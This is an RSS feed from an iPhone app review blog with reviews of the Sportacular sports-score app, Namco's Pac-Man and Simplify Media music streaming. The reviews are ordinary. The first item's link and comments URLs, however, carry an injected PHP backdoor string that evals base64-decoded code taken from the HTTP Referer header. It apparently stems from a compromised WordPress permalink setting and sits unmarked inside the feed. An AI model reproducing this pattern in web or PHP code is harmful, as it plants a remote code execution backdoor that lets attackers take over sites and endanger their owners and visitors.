App Alert » Free Apps http://appalert.net iPhone App Reviews and Alerts Tue, 14 Jul 2009 15:57:59 +0000 http://wordpress.org/?v=2.8.1 en hourly 1 Sportacular – Sports Score iPhone Application http://appalert.net/2008/09/04/sportacular-sports-score-iphone-application/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://appalert.net/2008/09/04/sportacular-sports-score-iphone-application/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Thu, 04 Sep 2008 15:50:32 +0000 admin http://appalert.net/?p=65 Sport fans looking for up to the minute scores, standings, stats and news can find it all in one place; Sportacular. Sportacular gives you the functionality to get sport scores updated every 30 minutes for MLB, NFL, NCAA Football, NBA, NCAA Baseball, NHL and MLS sports. This free app is pretty comprehensive, giving you daily scores for past scores, present game stats and even future game times for any of the sports listed.

 

Sportacular Screen Views

Select Sport Screen

Select Sport Screen

Game Stats and Scores Screen

Game Stats and Scores Screen

Conference Standings Screen

Conference Standings Screen

 

Sportacular Navigation

Sportacular Navigation

Sportacular’s interface is easy to navigate, there is the main navigation along to bottom similar to the default ipod app.

 

News from more than one place

Looking for sports news and updates from the major sports news websites, Sportacular has a news section where it aggregates sports news from you choice of ESPN, Yahoo! Sports, CBS Sports, and Fox Sports. Click on a news event and Sportacular open the news into it’s own simplified browser, with a Safari icon in the lower corner, you can visit the page in Safari if you prefer.

Sports New Screen

Sports New Screen

Sport News Sources

Sport News Sources

Page Flip Reveal

Page Flip Reveal

 

Conclusion

Overall a very good sports score application. I wish there were more sports to choose from, which would help it appeal to a larger international market. And the news sources need more options or the ability to add your own rss feed. I find myself using the program to check my teams scores and stats. I think I keep this one around.

More Screenshots

Sports Stats Options

Sports Stats Options

Sort Stats

Sort Stats

Individual Player Stats

Individual Player Stats

Player Stats

Player Stats

Team Stats

Team Stats

Sport News Browser

Sport News Browser

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You want to know what’s nice about this Pac-Man app?  It’s actually Pac-Man! 
Namco did such a good job on this app, I recommend skipping over the lite version and going for the full version.
If you are like me, you are an avid hunter of nostalgic video game experiences.  I get tired of the “knock-off” asteroids, tetris and tron games.  I understand that developers are just trying to fill in where the original makers sometimes fall short, but I always get the more excited about a vintage remake if the look and feel are similar to the old one.  Pac-Man and Pac-Man Lite have been developed by Namco and bring the best of vintage gaming to the iPhone.

Official Description

Guide PAC-MAN with three new control modes.  Dodge pesky ghosts by tilting or rotating your iPhone in Accelerometer Mode.  Navigate through the mazes by touching the onscreen Directional Pad in D-Pad Mode.  Chomp on dots with the swipe of a finger in Swipe Mode.

Munch fruits and other items for big points!  Gobble blinking Power Pellets to weaken the ghosts temporarily and eat them up before they change back.  Avoid Blinky, the leader of the ghosts, and his fellow ghosts Pinky, Inky and Clyde, or you will lose a life.  Get an extra life when you reach 10,000 points!

 

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This is the Pac-Man Lite version of the full version offering.  That means you only get one level, and you are done.  You can’t fault the makers for that, because we all know the lite versions are there to entice us to buy the full version.

Critics say the only downfall to this gaming experience is the method for controlling the Pac-Man.  I say, it’s an iPhone.  If you are so critical that you need the exact gaming experience as 1985, go buy yourself a vintage machine for $3000.

More Screen Views

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The D-pad is the default control method when you boot the game, and I think that is where folks get mixed up.  Because they can’t feel the buttons, and they take their eyes off the d-pad, they miss important turns and lose the game.  Sure it would be sweet to have a joystick, but this is an iPhone, right?

Graphics Rating: 3 out of 5 stars
Usability Rating: 4.5 out of 5 stars
Originality Rating: 3 out of 5 stars
Functionality Rating: 3.5 out of 5 stars
Sound Rating: 4 out of 5 stars

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Simplify Media is my favorite app I’ve used so far, with it’s ability to tap my home and work music library and up to 30 of my friends music libraries, I can listen to music longer than my battery will ever last. If you’re worried about you 8GB iPhone and not having enough space to put all of your music on it, you don’t have worry any longer. Though, I would get on the ball and download it while it’s still a free app, I was reading through they’re support page over at Simplify Media and found this:

How much does it cost?
Simplify Media for the desktop is free, and there are no hidden charges or spyware.

Simplify Media for the iPhone and iPod Touch are free for the first 100,000 people to download it. Thereafter, it will be $3.99.

I don’t know how many downloads there have been yet, but I think, when it does hit the 100,000 mark it still will be worth the $3.99, though free is a lot better right now.

The desktop application is free and is said to remain free. It’s available for Windows, Mac, and Linux and is simple to install. Once you’ve installed, you set up an account and you can invite friends to have access to your library, and in turn, if they accept your invite, you have access to their library. Unless your computer is asleep or not connected to the net, but hey their needs to be a way to stream your music to you, eh? Visit Simplify Media for more details

Simplify Connecting to Libraries Screen shot

Simplify Connecting to Libraries Screen shot

Simplify Media Screenhot Buffing Media

Simplify Media Screenhot Buffing Media

Simplify Media Screenshot Media Account

Simplify Media Screenshot Media Account

Simplify Media Desktop Invite a Friend Screenshot

Simplify Media’s iTunes Description

Simplify Media lets you listen to your music collection from your home computer on your iPhone or iPod Touch. You can also stream music from up to 30 friends and view lyrics and artist bios.

Download the application from the App Store. Then, create a free account using Simplify Media on a Mac, PC or Linux. On your computer, remote music appears right within iTunes.

Features:
-Fast navigation by artist, album and genre
-Works over WiFi and EDGE/3G
-Easy setup; no router configuration
-Free for PC, Mac and Linux
-Free for the first 100,000 iPhone users
-Cover art coming soon

CNET named the Simplify Media desktop one of “the 10 best downloads of 2007,” and Blender added it to “The Best List 2008.”
© 2008 Simplify Media, Inc.

Graphic Rating: 4.5 out of 5 stars
Usability Rating: 3.5 out of 5 stars
Originality Rating: 4 out of 5 stars
Functionality Rating: 4 out of 5 stars
Overall Rating: 4.5 out of 5 stars

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